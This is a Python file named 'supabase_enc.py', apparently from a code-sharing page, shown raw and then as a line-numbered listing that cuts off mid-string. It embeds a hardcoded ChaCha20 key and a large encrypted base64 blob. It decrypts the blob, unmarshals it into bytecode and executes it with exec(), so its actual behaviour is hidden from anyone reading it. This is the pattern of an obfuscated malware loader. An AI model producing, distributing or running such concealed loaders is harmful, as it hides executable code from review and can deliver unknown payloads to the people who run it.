supabase_enc.py
· 8.9 KiB · Python
Raw
import marshal
import base64
import sys
from Crypto.Cipher import ChaCha20
# CONFIG
_k_hex = "d612913ed4de1cca95fe439c71378f69d977173a02f33fccc3972d1375d3007c"
_p_b64 = "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"
def _run():
try:
_k = bytes.fromhex(_k_hex)
_raw = base64.b64decode(_p_b64)
_n = _raw[:12]
_ct = _raw[12:]
_cipher = ChaCha20.new(key=_k, nonce=_n)
_dec = _cipher.decrypt(_ct)
code = marshal.loads(_dec)
exec(code, globals())
except ValueError as ve:
print("Error: Integrity check failed or bad key.")
except EOFError:
print("Error: Marshal data corrupted (possibly wrong Python version).")
except Exception as e:
print(f"Error execution: {e}")
if __name__ == "__main__":
_run()
| 1 | import marshal |
| 2 | import base64 |
| 3 | import sys |
| 4 | from Crypto.Cipher import ChaCha20 |
| 5 | |
| 6 | # CONFIG |
| 7 | _k_hex = "d612913ed4de1cca95fe439c71378f69d977173a02f33fccc3972d1375d3007c" |
| 8 | _p_b64 = "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